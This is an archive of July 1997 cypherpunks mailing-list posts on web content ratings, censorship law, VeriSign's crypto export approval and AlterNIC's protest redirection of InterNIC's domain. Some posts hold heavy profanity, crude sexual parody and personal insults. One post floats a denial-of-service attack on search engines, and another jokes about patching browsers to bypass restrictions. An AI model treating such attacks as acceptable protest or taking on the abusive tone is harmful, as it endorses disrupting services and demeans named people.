Subject: Re: All of my fucking material is suitable for children of all ages
Message-ID: <199707170946.LAA02378@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> my posts should be read by children of all ages, no matter what
> fucking language I use. Children should be exposed to language and images
> of all types, so all of my material would of course be "suitable for
> children."

  I have to agree with the rat-bastard, cocksucking, motherfucking
sack of shit, Tim May, on this one.
  Having Tourette Syndrome, I object to anal retentives who would
criminalize my God-given verbal predelictions. Neither would my
receiving an exception on the grounds of being disabled be remotely
acceptable to me, since I sincerely believe that my TS is a "gift"
that allows me to say anything that others say to a judge, *plus*
being able to call him or her a Nazi ratfucker. (Anyone who thinks
this is a "disability" is fucking crazy.)

  On the other hand, it would be kind of neat to launch a class action
lawsuit demanding that ratings systems incorporate a label such as:
"Suitable (FUCK!) for children (COCKSUCKER!) with Tourette Syndrome"

FUCKMonger
> --
> [This Bible excerpt awaiting review under the U.S. Communications Decency
> Act of 1996]
> And then Lot said, "I have some mighty fine young virgin daughters. Why
> don't you boys just come on in and fuck them right here in my house - I'll
> just watch!"....Later, up in the mountains, the younger daughter said:
> "Dad's getting old. I say we should fuck him before he's too old to fuck."
> So the two daughters got him drunk and screwed him all that night. Sure
> enough, Dad got them pregnant, and had an incestuous bastard son....Onan
> really hated the idea of doing his brother's wife and getting her pregnant
> while his brother got all the credit, so he pulled out before he
> came....Remember, it's not a good idea to have sex with your sister, your
> brother, your parents, your pet dog, or the farm animals, unless of course
> God tells you to. [excerpts from the Old Testament, Modern Vernacular
> Translation, TCM, 1996]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 18 Jul 1997 01:39:04 +0800
To: cypherpunks@toad.com
Subject: A.Jensen doesn't like Sympatico.ca
Message-ID: <7HuZ0D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



What do Timmy May and A.Jensen have in common?

They hate Toto's ISP:

From: pavanas@meridio.ccia.com (pavanas abludo incusus)
Newsgroups: news.admin.net-abuse.email
Subject: Re: Addresses for sympatico.ca and netcom.ca
Date: 16 Jul 1997 00:02:54 GMT
Organization: Aragorn Asteria
Lines: 45
Message-ID: <slrn5so3sq.jr.pavanas@meridio.ccia.com>
References: <5qfv4p$ce3@camel3.mindspring.com> <33CBE926.495E@swva.net> <33d6f
xt.36276030@news.erols.com>
Reply-To: pavanas@bbs.mpcs.com
X-Newsreader: slrn (0.9.4.2 UNIX)
Path: altavista!news1.digital.com!data.ramona.vix.com!sonysjc!sonybc!newsjunki
xtns.net!newsfeeds.ans.net!portc02.blue.aol.com!bignews.mediaways.net!news-han
xtfn.de!newsserver.rrzn.uni-hannover.de!baghira.han.de!news.rz.uni-hildesheim.
xtfu-berlin.de!nntprelay.mathworks.com!infeed2.internetmci.com!newsfeed.intern
xtci.com!news.alt.net!pavanas

On Tue, 15 Jul 1997 22:07:46 GMT,
 Roswell Coverup <Majestic7@ALIENcryogen.SPAMcom> mused and hath written:

>
>On Tue, 15 Jul 1997 17:18:30 -0400, while digesting the latest ration
>of Spam & UCE "Patricia A. Shaffer" <ramsa@swva.net> wrote:
>
>>
>>I've@Enough.Of.It wrote:
>>> 
>>> Anyone have complaint addresses for these? I can't seem to find any that w
xt.
>>> 
>>> btw, Anyone noticed increasing spam from Canada?
>>> 
>>> ......
>>> :)avid
>>
>>Yes, sir ... about a half-dozen in the last week. One complaint sent to
>>sympatico's Administrative Contact bounced back "user unknown". I had
>>sent to postmaster as well, and that didn't bounce ... I'm learning ...
>>but no response, yet.
>>
>>Patricia
>
>I have never received a response from sympatico - they are a spam
>factory.
>
>
And then some... Despite repeated attempts I have never managed a response
of any kind from anyone at sympatico. Consider them a write off.

>--------
>JOWazzoo..aka Roswell Coverup
>BlueLister Tracker Downer - Robert. whatcha gonna do when they come for you??
>Very Disturbed Nerd,InterNUT BlueList,NetScum & NJ Swearer List
>Fight spam, support Rep. Chris Smith's TCPA extension by joining
>CAUCE: http://www.cauce.org

cheers

-- 
IHS
pavanas
        We are but dust and shadow.
                                        Quintus Horatius Flaccus    

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 18 Jul 1997 00:32:54 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <Pine.LNX.3.91.970717104711.2219A-100000@fatmans.demon.co.uk>
Message-ID: <Pine.SUN.3.96.970717121626.21011D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 17 Jul 1997, Paul Bradley wrote:

> However, I find it unlikely many censorous parents would have the 
> foresight to ensure the kids login couldn`t install other s/w such as an 
> old browser which doesn`t support PICS and would display the pages 
> anyway, so it looks like the whole discussion may lead nowhere, apart 
> from maybe the advantage of the new browsers other features being 
> preserved in the proxy route.

You mean like the WebTv boxes that run Netscape 1.x? :)  Hehehehe...  The
best thing for us to do is simply force a "Fuck You" rating on all our
pages - voluntarily rate it for sex content, foul language,
beastiality, anarchy, drug/bomb recipies, or whatever - but make the page
very useful to force people to come to the page anyway.  Easy way to take
these ratings out at the knees.


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 17 Jul 1997 18:44:38 +0800
To: cypherpunks@toad.com
Subject: Fuck You Rating Systems, Inc.
Message-ID: <199707171030.MAA08390@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



ANNOUNCEMENT: Fuck You Ratings Software Escapes Beta-Test!

  We are proud to announce that "Fuck You" ratings software has managed
to escape our beta-test laboratory and is now available in tit bars and
crack houses around the nation.
  Our software makes it easy and convenient to attach ratings labels to
your web site which reflect your attitude toward the anal retentive
assholes who are surfing for trouble.

"Fuck You, you Christian asshole! All I have on this web site is *real*
pussy, not *imaginary* saviors!"

"Fuck You, you LEA prick! This web site is leased in the name of my
dead grandmother, so don't bother getting a subpoena unless you're 
willing to do some digging."

"Fuck You, mom and dad! Until you flush your dope down the toilet, I 
don't need to hear any of your moralistic crapola."

  "Fuck You" ratings software has the "Lenny Bruce Found-fucking-dation"
Seal of Approval.

What others have to say about "Fuck You" ratings software:
  "Fuck."
      - Tim May
  "Shit."
      - Declan McCullagh
  "Cocksucker."
      - Dr. Dimitri Vulis, KOTM
  "Am not."
      - John Gilmore
  "Are too."
      - Paul Bradley
  "Fuck."
      - Kent Crispin
  "If you check the archives, you'll find that I said 'Fuck' earlier
  in this post."
      - Tim May
  "Darn."
      - Dorothy Denning
  "Heck."
      - Senator Snatch (hee, hee)

  Order "Fuck You" ratings software before Dec. 32, 2299, and get a 
free copy of "Bite Me" autoresponder software.
{Offer not valid in states where having sexual relations with animals
is against local ordinances.}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Doug Peterson <fnorky@geocities.com>
Date: Fri, 18 Jul 1997 03:22:44 +0800
To: David Formosa <dformosa@st.nepean.uws.edu.au>
Subject: Re: The Real Plan: Making the Net Safe for Censorship
In-Reply-To: <Pine.LNX.3.93.970717064758.102A-100000@shirley>
Message-ID: <33CE664A.82@geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} wrote:
> 
>         Now I'm clearly not a 'merkin and have little knowlig of how your
> system works but I would have thourt creating a sepreate marking sceam for
> 'news sites' and makeing it illegal to misslable would be creating a
> licenced press and therefore unconstutional.
> 
Well, in theory, requiring a licenced press would violate the 1st
Amendment.

Requiring any kind of rateing on a web page would seem to be the same as
requiring a newspaper to rate itself to protect someone from reading a
story that would be offensive to her/him. I don't beleave the newspaper
industry would stand by and let that happen to them.

> You Say To People "Throw Off Your Chains" And The Make New Chains For
> Themselves? --Terry Pratchett
Hehe.  Who ever said people were smart?

-Doug





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 18 Jul 1997 22:33:15 +0800
To: "Peter D. Junger" <junger@upaya.multiverse.com>
Subject: Re: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: <199707170915.FAA01650@upaya.multiverse.com>
Message-ID: <Pine.LNX.3.91.970717125226.2372A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> : BTW, we should differentiate generally between state action and private
> : action. Getting fucked by Microsoft != getting fucked by the government.
> : This is Libertarianism 101. Of course, I admit today the distinction was
> : blurry.
> 
> Corporations are just parts of the government that got away.  I have
> never understood why some, though far from all, libertarians bother
> to distinguish them from the other organs of the state. 

If I read this the right way I would suppose that you are saying that a 
corporate agreement to include rating systems in all browsers would be on 
a par with mandated inclusion pushed through by the government. Not so: 
The government uses force and violence to make individuals and companies 
do it`s bidding, if the government did not enforce laws they wouldn`t be 
wrong, because there would be no act of agression. Assuming a large 
company such as M$ were to decide any company not including rating 
systems in their browsers could be fined by M$, then that would be a 
similar situation to the one currently experienced with the government.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 17 Jul 1997 19:16:01 +0800
To: cypherpunks@toad.com
Subject: Re: Fuck You Rating Systems, Inc.
Message-ID: <199707171100.NAA12476@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:
> 
> ANNOUNCEMENT: Fuck You Ratings Software Escapes Beta-Test!
...
> {Offer not valid in states where having sexual relations with animals
> is against local ordinances.}

  Are there any cypherpunks in Montana who are willing to serve as
a mail-drop for the rest of us?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Doug Peterson <fnorky@geocities.com>
Date: Fri, 18 Jul 1997 03:50:25 +0800
To: Eric Murray <ericm@lne.com>
Subject: Re: The Real Plan: Making the Net Safe for Censorship
In-Reply-To: <199707162332.QAA24337@slack.lne.com>
Message-ID: <33CE6F32.5647@geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



Eric Murray wrote:
> 
> Declan McCullagh writes:
> >
> >
> >
> > ---------- Forwarded message ----------
> > Date: Wed, 16 Jul 1997 14:16:47 -0500
> > From: Marc Rotenberg <rotenberg@epic.org>
> > To: fight-censorship@vorlon.mit.edu
> > Subject: The Real Plan: Making the Net Safe for Censorship
> 
> That should be Making the Net Safe for SafeSurf.
> 
> The proposal is a classic example of "if you can't beat 'em in
> the marketplace, beat 'em in the legislature".  It would require
> a rating system while locking out new competition from the net
> censorshipratings field.   SafeSurf operates
> a ratings system.  Can you say "conflict of interest"?
> 
> Note provision 3, which stipuates that a rating must be "issued by a
> ratings service that has a minimum of 5,000 documented individuals usin
> its system to mark their data."
> 
> That'd kind of make it hard to start a competing ratings system, wouldn't it?
It like some unions I know.  You can't work unless you belong to the
union, but
you can't join the union unless you are working.

-Doug





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Doug Peterson <fnorky@geocities.com>
Date: Fri, 18 Jul 1997 03:55:18 +0800
To: Brian Lane <nexus@eskimo.com>
Subject: Re: The Big Sellout
In-Reply-To: <Pine.GSO.3.95.970715233716.9149D-100000@well.com>
Message-ID: <33CE70C5.7B5A@geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



Brian Lane wrote:
> 
> Declan McCullagh wrote:
> >
> > I spoke to Netscape earlier today. The company previously had announced it
> > would support PICS in a future version of Navigator. Now it's pledging to
> > support PICS in the *next* version.
> >
> > -Declan
> 
>   I don't care if Netscape supports PICS or not, as long as I still have the
> freedom to turn that option off (and that it is preferrably not enabled by
> default, or indicates in an OBVIOUS way that it is active).
Even better, lets support web browsers that do not support PICS or any
other
rateing system.

 
>   This whole thing is a load of shit though. The government is professing
> to have control over thousands of private computers and networks. No one
> has to put their kids on the net (IMHO the damn thing is a large waste of
> time, they should be reading books or building things instead), so it must
> be the parents decision to give them access -- It is therefore the parents
> responsibility to monitor their kids activities, not the governments and not
> everyone elses.
Agreed.  I would extend that to say that it is the parents responsiblity
to
teach their kids to be able to handle the unknown in a responsible way.

-Doug





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 18 Jul 1997 04:36:09 +0800
To: cypherpunks@cyberpass.net
Subject: AlterNIC takes over InterNIC traffic
Message-ID: <v03102802aff42e90e6e0@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



http://www.news.com/News/Item/0%2C4%2C12382%2C00.html?nd

AlterNIC takes over InterNIC traffic
   By Courtney Macavinta
July 14, 1997, 12:15 p.m. PT

 A rival domain name registry to the official Internet registrar,
InterNIC, redirected users from "www.internic.net" to its own  site last
weekend in what is being called a "protest."

 Netizens told CNET's NEWS.COM that they ended up at  AlterNIC, or
"www.alternic.net," after typing in InterNIC's  URL. AlterNIC was set up by
the enhanced Domain Name  Services to offer alternate top-level domains,
such as ".ltd,"  ".sex," and ".med."

 "By redirecting the domain name 'www.internic.net,' we are  protesting the
recent InterNIC claim to ownership of '.com,'  '.org,' and '.net,' which
they were supposed to be running in the  public trust," AlterNIC CFO Eugene
Kashpureff stated on his  site.

 "Our apologies for any trouble this DNS [domain name system]  protest has
caused you...We think we exercised restraint in the  use of our latest DNS
technology for this protest," the letter  states. "We terminated the
protest configuration at 8 a.m.  Monday, July 14."

 The AlterNIC site also contained a link that allowed visitors to  access
the actual InterNIC in the protest message.

 InterNIC is the registrar of the most valuable domain names, such  as
".com." It is administered in part by Network Solutions under  agreement
with the National Science Foundation, which ends in  March of next year.
During its tenure, Network Solutions has  collected approximately $78
million in registration fees.

 The protest is the latest move in the heated debate over who will  control
the Internet naming system, which has turned into a  lucrative business as
commercial entities fight to establish brand  awareness by using the most
coveted names. For example, the  name "business.com" was bought recently
from its registered  owner for $150,000.

 Last month, the Commerce Department asked for public comment  on the
future of the domain name system. An ad hoc committee  formed in part by
the Internet Society also proposed a plan last  year for replacing Network
Solutions and reconfiguring how the  names are handed out. Kashpureff said
he is protesting Network  Solutions' claim in its recent Securities and
Exchange filing that it  owned the property rights to ".com" and the other
popular  domains.

 "If they think they own the entire domain name space, I've got  news for
them. Over the weekend, I possessed their name," he  told CNET's NEWS.COM.

 No one at Network Solutions could be immediately reached to  comment on
whether the company will look into legal  ramifications for the rerouting
of its traffic by AlterNIC.

 Kashpureff wouldn't say how he managed to abduct InterNIC's  domain name
but did say he did it to demonstrate the system's  vulnerability. "I'm not
releasing how I did it because it would  take out the name service on the
Net. The hack was a result of a  years' worth of work under a project
called 'DNS Storm.'"

 Moreover, there is no telling how many registrations InterNIC  could have
lost due to the antic. But some Netizens who were  involuntarily
transported to the alternate site didn't seem to mind.

 "They do have a good point in the fact that those domain names  are
supposed to be in the public trust. I don't agree with the  InterNIC
monopoly either," said Jason Brunette, a Webmaster for  TCB Internet in
Wisconsin, who was rerouted to AlterNIC this  weekend when he tried to
register a domain.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 18 Jul 1997 04:39:58 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <v03102800aff35a11fa0e@[10.0.2.15]>
Message-ID: <v03102801aff42d80a712@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>> These suggests that Yahoo, Excite, and Lycos might become tempting targets
>> of a Net-wide DoS attack until they repent.
>
>It also suggests a far more intelligent course of action, namely
>setting up a competing, non-rating, search engine somewhere else.  It
>would soon become more popular than Yahoo etc -- a tremendous
>business opportunity.

With the right timing both might be much more effective.  Sorta like the
recent InterNIC NDS theft (see my separate posting).

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Doug Peterson <fnorky@geocities.com>
Date: Fri, 18 Jul 1997 04:11:38 +0800
To: "Peter G. Neumann" <neumann@csl.sri.com>
Subject: Re: i miss carol anne cyphergrrl
In-Reply-To: <CMM.0.90.1.869152885.neumann@chiron.csl.sri.com>
Message-ID: <33CE7333.28E8@geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



Peter G. Neumann wrote:
> 
> Dank U, Zooko!
> We are indeed on the horns of a dilemma.
> As long as the vendors can get away with crapware
> (with respect to security, reliability, robustness, etc.),
> there is no incentive to do better.  In info-peace, most
> folks don't care.  In info-war, the bad guys (on all sides)
> are delighted that the systems are flaky, and the good guys
> lose.  However, the governmental incentives that exist seem
> to opt for dumbing down -- despite the realization that
> governments cannot get x-worthy systems to satisfy their own
> needs.  Short-sighted parado[x|c]trinarianism abounds.
> Piet
Yes, but this keeps us security consultants in business :)

-Doug





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 18 Jul 1997 06:06:29 +0800
To: Lucky Green <adam@homeport.org>
Subject: Re: Verisign gets export approval
In-Reply-To: <v0300781aaff3f52c25a1@[207.94.249.49]>
Message-ID: <v03102804aff433a4185d@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:00 AM -0700 7/17/97, Lucky Green wrote:
>At 09:16 AM 7/17/97 -0700, Bill Frantz wrote:
>>It seems to me that someone who has a one year export approved Verisign
>>cert should use it to authenticate a new top-level CA cert which they pass
>>to their customers.  Cut Verisign and their nosy/noisy partner out of the
>>loop.
>
>Only a valid VeriSign Global ID cert (an X.509 v3 cert with a special
>extension) will activate the strong encryption in exportable browsers. This
>is hardcoded into Navigator and Internet Explorer.

That's what patch installers are for ;-)

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 18 Jul 1997 03:08:22 +0800
To: cypherpunks@cyberpass.net
Subject: <sigh>
Message-ID: <199707171854.NAA01919@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Due to a misbehaving mailing list I have lost some mail this morning. :(

If you have sent any message to me between 00:00-13:00 GMT-0400 today
please resend the message.

Also could someone from the mailing list send me copies of the messages
that I have missed.

Thanks,

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 18 Jul 1997 02:54:31 +0800
To: "Peter D. Junger" <cypherpunks@cyberpass.net>
Subject: Re: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: <Pine.GSO.3.95.970716212852.24530B-100000@well.com>
Message-ID: <v03110766aff40f85e9eb@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:15 am -0400 on 7/17/97, Peter D. Junger wrote:


> Corporations are just parts of the government that got away.  I have
> never understood why some, though far from all, libertarians bother
> to distinguish them from the other organs of the state.

There is considerable logic to this, viz:

1. Corporations would not exist without government charter. Consequently
they have to do what governments want them to do. Being incorporated in a
number of jurisdictions helps with this, of course.

2. There are partnership options which get the same level of limited
liability, we talked about them here two or three years ago...

3. If governments dissapeared tomorrow (heh...), then business would still
happen, and large businesses would still exist given the economics of scale
inherent in our still-moderately industrial society.


Geodesic internet commerce will probably involve 'swarms' of small business
entities operating in cash-settled auction markets for goods and services,
and so the need for the integrative function corporations provide for
resources and information will eventually dissolve...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Fri, 18 Jul 1997 02:36:00 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Verisign gets export approval
In-Reply-To: <3.0.2.32.19970716215758.006f071c@popd.ix.netcom.com>
Message-ID: <Pine.SOL.3.95.970717141434.17072P-100000@viper.law.miami.edu>
MIME-Version: 1.0
Content-Type: text/plain




I think it tells us that Verisign managed to convince the government that
their product is only used for authentication, not encrypting content. 
Which appears currently to be true, no?  And since AFIK (Please, someone,
correct this if I'm wrong!) you can't with netscape anyway download
another party's key that you verify with a Verisign certificate, it would
take a fair amount of work for the ordinary user to set up a secure
channel using the current Verisign infrastructure.   

The ITAR exception for authentication-only products is of long standing.

On Wed, 16 Jul 1997, Bill Stewart wrote:

> Forwarded from PGP-USERS list:
> > First PGPInc and now VeriSign? Hmmm. Is this telling us something?
> 
>      "VeriSign on Monday said it received permission from 
>        the U.S. Department of Commerce to export 128-bit 
>        strong encryption software and issue digital 
>        identifications to approved organizations based on 
>        that software. "
> 
>      "Under the 128-bit scheme approved by the U.S. 
>       government Monday, companies will not need to 
>       place their encryption keys in escrow, or submit 
>       to U.S. government key-recovery requirements in 
>      order to use VeriSign's software, company officials said."
> 
> 
> 
> #			Thanks;  Bill
> # Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
> # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
> #   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)
> 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law | "Cyberspace" is not a place.
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's @%#$%$# hot here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 18 Jul 1997 06:03:02 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Verisign gets export approval
In-Reply-To: <3.0.2.32.19970717100056.00733db4@netcom10.netcom.com>
Message-ID: <199707171925.OAA02869@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970717100056.00733db4@netcom10.netcom.com>, on 07/17/97 
   at 10:00 AM, Lucky Green <shamrock@netcom.com> said:

>At 09:16 AM 7/17/97 -0700, Bill Frantz wrote:
>>It seems to me that someone who has a one year export approved Verisign
>>cert should use it to authenticate a new top-level CA cert which they pass
>>to their customers.  Cut Verisign and their nosy/noisy partner out of the
>>loop.

>Only a valid VeriSign Global ID cert (an X.509 v3 cert with a special
>extension) will activate the strong encryption in exportable browsers.
>This is hardcoded into Navigator and Internet Explorer.

Yep, fairly simmilar to "policy tokens" that were disscused on the list
last year.

Let's face it people the management of Nut$cape & Mick$loth are a bunch of
rat bastards who would sell their own mothers to make a buck.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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j02akFcab+mgfYGvEq9qUOmEoxw/jJ+4XXas0Zw/Ap6I8QcNEqRUQ/vAzR0UgUzo
m039NpNzT8KTo8TtX6Ry2Zhob2Wk3cpZ2+1H+mOpmYKBbXd6PZfna4u6sk2W6BTk
zNjh79taSDQ=
=TuK9
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 18 Jul 1997 06:03:40 +0800
To: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Subject: Re: Verisign gets export approval
In-Reply-To: <Pine.SOL.3.95.970717141434.17072P-100000@viper.law.miami.edu>
Message-ID: <Pine.3.89.9707171435.A21378-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 17 Jul 1997, Michael Froomkin - U.Miami School of Law wrote:

> 
> I think it tells us that Verisign managed to convince the government that
> their product is only used for authentication, not encrypting content. 
> Which appears currently to be true, no?  And since AFIK (Please, someone,
> correct this if I'm wrong!) you can't with netscape anyway download
> another party's key that you verify with a Verisign certificate, it would
> take a fair amount of work for the ordinary user to set up a secure
> channel using the current Verisign infrastructure.   

True, the certs themselves are not covered by the export controls. But we
aren't talking about export law. We are talking about a four way
contract between Netscape, Microsoft, VeriSign, and the US government. 

Under that contract:

o VeriSign will only issue Global ID certs to US
companies with all their servers located in the US and overseas banks with
servers abroad that play by the USG's rules. Once the USG no longer approves
of the participants using strong crypto with their customers, VeriSign
will revoke the cert, disabling secure communications, and thereby severely
damaging, if not destroying, the business of the party unfortunate enough
to have relied on such a cert for their livelyhood. 

o Netscape and Microsoft get a blanket approval to ship their servers to 
non-US banks that meet the USG's criteria.

o Netscape and Microsoft also receive approval to export browsers that can 
use strong crypto *exclusively* with sites the USG and VeriSign approve of.

o The USG no longer has to waste time handling export applications it
doesn't mind approving anyway, such as those for US-friendly foreign banks.
And the USG no longer has to listen to US companies complain because they
are unable to provide their non-US customers with secure access to the 
sever located in the US.

Lastly, and most importantly, every purchaser of a VeriSign Global ID cert
allows the USG and VeriSign to install a MASTER-OFF switch in the heart of
their business. I feel sorry for the poor suckers that will lose home and 
hearth after subscribing to this fatally flawed solution.

--Lucky





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sar@box.cynicism.com
Date: Fri, 18 Jul 1997 04:25:38 +0800
To: cypherpunks@toad.com
Subject: Re:
In-Reply-To: <199707171645.SAA09016@basement.replay.com>
Message-ID: <3.0.2.32.19970717150037.007b2a60@box.cynicism.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:32 AM 7/17/97 -0700, you wrote:
>At 06:45 PM 7/17/97 +0200, Name Withheld by Request wrote:
>>
>>
>>On Wed, 16 Jul 1997 frissell@panix.com wrote:
>>
>>> What ever happened to "de minimus non curat lex."  The social damage
>from a 
>>> misrated website is too trivial to be believed.  Punishing it is like 
>>> executing you for farting.
>>
>>  In some cases that may not be a bad idea :). But getting back to the
>>original point, if I'm going to be subject to jail for mislabeling my
>>pages (and how do you tell, given that some systems use a numeric rating? 
>>count the nipples and add the size of any erections?) then that would 
>>seem to be a good reason to move my Web site out of America. 
>>  Idependent rating systems are a good thing, and we've talked about them
>>here many times in the past (e.g. 'repuation markets'). A mandatory
>>requirement for web authors to rate their own pages is a hideous idea
>>which will simply move more of the Web overseas, helping to destroy the US
>>economy. 
>
>Furthermore, if you have no smut on you page, but you link to offensive
>content (rated or unrated) somewhere else, how does that rate?
>
>A while back on a whim, I created a page that is based on a type of ambush
>humor.  The link describes something in a way where you think you are going
>to one thing, but go to something entirely different.  If they push
>something where you have to label everything for the most clueless out
>there, it will ruin the whole page.  (I find the idea that I might get
>prosecuted for my Goth page absurd, but it is possible considering the
>clueless morons in power.)  The page (outdated links and all) is at
>http://www.ctrl-alt-del.com/~alan/goth.html .
>
>Something else...  Why does the press refer to Gore in such terms that make
>him look like he is some sort of techno-nerd?  The man is totally without
>clues.  (I believe the proper term is "Connection to Clue-server refused by
>host.")  The "Information Superhighway" that he was pushing was a souped-up
>cable system for Ghod's sake!  (The extra bandwidth was going to be used by
>starting movies every 10-15 minutes instead of having to wait.)  The
>hearings on that were high clueless theatre...  Maybe Declan can due an
>article on how far removed Gore really is from the process.  (But that
>might offend his corporate masters...)
>
>  


What about a page saying "the hottest pics around" or "these girls must be
seen to be beliveved" or "want to see them take it all off?" but offering
no pictures the way most "porn" sites on the web do.
	How would you rate the implication that the page may contain sex or
violence if the site dosn't really contain much of anything. And if the
phrases themselves contain nothing objectionable would you have to rate the
implications?
	
	Maybe people should look on the bright side. Rating porn sites may keep
you from looking at 500 pages of links that contain no actualy pornography.
You could simply check the rating to see if there really is any sex. And
somebody could create an index that searches by rating, so you could seach
by sexual content. search for a 5 when you just want to see some skin , or
a 10 when you want to see a bit more.
	But of course people could just max the rating saying their site has more
sex than it actualy does. The powers that be would never stop them, who
would object to people saying their site is less suitable for children than
it really is.It would be like saying "this movie cant be rated r, they only
say fuck 3 times! send them all to jail for misrating the movie"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 17 Jul 1997 21:36:51 +0800
To: cypherpunks@toad.com
Subject: EuroEnglish
Message-ID: <199707171315.PAA03965@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




--------------------------------------------------------------------
ANNOUNCEMENT FROM THE EUROPEAN UNION COMMISSIONERS

